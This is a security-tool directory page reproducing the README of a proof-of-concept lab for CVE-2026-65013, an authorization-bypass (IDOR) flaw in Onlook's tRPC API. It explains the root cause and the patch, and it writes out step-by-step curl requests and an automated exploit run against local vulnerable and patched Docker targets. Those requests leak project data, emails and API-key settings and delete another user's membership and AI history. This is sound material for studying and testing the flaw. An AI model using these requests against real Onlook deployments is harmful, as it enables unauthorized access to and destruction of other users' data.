Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-65013-BOLA-IDOR — Reproducible BOLA/IDOR PoC against Onlook's tRPC API (CVE-2026-65013), with a 12-step exploit chain, vulnerable and patched Docker targets, and technical documentation. | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-65013-bola-idor
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Red Teaming
Labs & Practice
GitHubisaca0315/cve-2026-65013-bola-idor

CVE-2026-65013-BOLA-IDOR

Reproducible BOLA/IDOR PoC against Onlook's tRPC API (CVE-2026-65013), with a 12-step exploit chain, vulnerable and patched Docker targets, and technical documentation.

View Repository
2221 days agoNot yet reviewed

CVE-2026-65013-BOLA-IDOR

Reproducible PoC of BOLA / IDOR in the tRPC API of Onlook (CVE-2026-65013).

Any authenticated user can read, modify, and delete projects, members, and AI history of other users just by passing their UUIDs to the tRPC procedures (versions <= 0.2.32).

CVECVE-2026-65013
AdvisoryGHSA-j6x3-f5cf-2pg4
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.18.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
VulnerableOnlook <= 0.2.32
Patchcommit 423e2e9 (PR onlook-dev/onlook#3129)

📚 Documentation

DocumentContent
docs/CVE-2026-65013.mdCVE technical details: root cause (RLS exempt + misdistributed helper), real affected surface, attack anatomy, line-by-line analysis of the 423e2e9 fix, remediation, CVE/advisory/PR references.
docs/ARQUITECTURA.mdPoC details: file map, tRPC v10+superjson wire format, data model, VULN vs FIX schema, procedure table, PoC ↔ real Onlook mapping, extension guide, manual validation/CI.

Summary

Onlook exposes its backend via tRPC, and the procedures receive the resource id directly from the client:

project.get({ projectId })                // reads any project
member.remove({ projectId, userId })      // kicks out anyone
chat.conversation.delete({ conversationId }) // deletes AI history
settings.get({ projectId })               // settings with API keys

The problem: most of them did not verify that the caller was a member of the project. The Postgres connection (Drizzle) was a superuser exempt from Row Level Security, so the control had to live in the tRPC code... and there it was missing.

A verifyProjectAccess() helper already existed (applied to a handful of procedures, e.g. project.update/delete), but the rest of the surface trusted the client id: project.get, member.list, member.remove, invitation.list, chat.conversation.*, chat.message.*, branch.*, settings.*, frame.*…

Authentication is NOT the problem (Supabase JWT works). It is object-level authorization (BOLA/IDOR): the attacker uses their own legitimate session against the victim's ids.

Technical detail of the flaw

  • lib/authorization.js contains the missing helpers (verifyProjectAccess, verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess, verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — the equivalent of commit 423e2e9.
  • lib/router.js invokes them only if enforceAuth is enabled; in vulnerable mode the procedures run without the check (the real bug).
  • In patched mode each verification throws the same generic error Unauthorized or not found (UNAUTHORIZED), so that the existence of resources cannot be enumerated:
    // chat.conversation.delete — vulnerable (no check)  vs  patched:
    enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
    
  • project.update remains protected in both modes as a "contrast": it demonstrates that the helper existed, it was just misdistributed.

⚔️ Red Team step by step

Step 0 — Bring up the infrastructure (Docker)

docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → VULNERABLE
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → PATCHED

Docker brings up the target (vulnerable and patched) plus a demo service. Exploitation is done from your machine against those targets.

Step 1 — Reconnaissance

curl -s http://localhost:3000/demo/ids      # victim seed ids (Alice)

This replaces the real channel through which an attacker would obtain the UUIDs (shared preview link, log referrer, invitations…).

Step 2 — Log in as the attacker (Bob, legitimate user)

TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

Step 3 — Manual exploitation with curl (exact advisory format)

# 3a. READ Alice's secret project (GET, input format={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Q3 Launch (SECRET PROJECT)",...}}}}

# 3b. LIST members and emails (even though not part of the project):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. REMOVE Alice (owner) from HER own project (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice is no longer in her project)

# 3d. DELETE Alice's AI history:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

Step 4 — Automated exploit (node exploit.js)

Runs the 12 procedures of the chain (read project, list Alice's projects, filter emails, remove the owner, list invitations, read/delete AI history, branches, settings with apiKey, frames):

node exploit.js                                  # against :3000 (vulnerable)  → leaks
node exploit.js --target http://localhost:3001 --expect blocked   # against :3001 (patched)

Typical output (vulnerable):

💥 project.get              → LEAKED
💥 member.remove            → LEAKED   (foreign membership deleted: true)
💥 chat.conversation.delete → LEAKED   (foreign AI history deleted: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMED: bob read/deleted alice's resources.

Against the patched version:

🛡️ project.get              → BLOCKED   (Unauthorized or not found)
...
✅ 12/12 — PATCHED server: the same attack was blocked.

Exploitation mutates the in-memory database of the vulnerable server: to re-run it, restart that instance (docker compose restart server).

Step 5 — Validate / contrast

Procedure:3000 vulnerable:3001 patched
project.get (foreign project)200 + name/metadata401 Unauthorized or not found
member.list (foreign emails)200 + emails401
member.remove (remove the owner)200 true401
chat.conversation.delete200 true401
settings.get (apiKey)200 + settings401
project.update (contrast: was already protected)401401

Validation demos

npm run demo        # compares VULNERABLE vs PATCHED in-process (no network), 12 procedures
bash test-local.sh  # end-to-end harness: curl (advisory format) + exploit vs :3100 and :3101, real exit code

Or in Docker:

docker compose up -d demo
docker logs cve-2026-65013-demo

Frontend (real app mode)

open http://localhost:3000        # (or http://localhost:3001 for the patched version)

Demo accounts:

Download Tool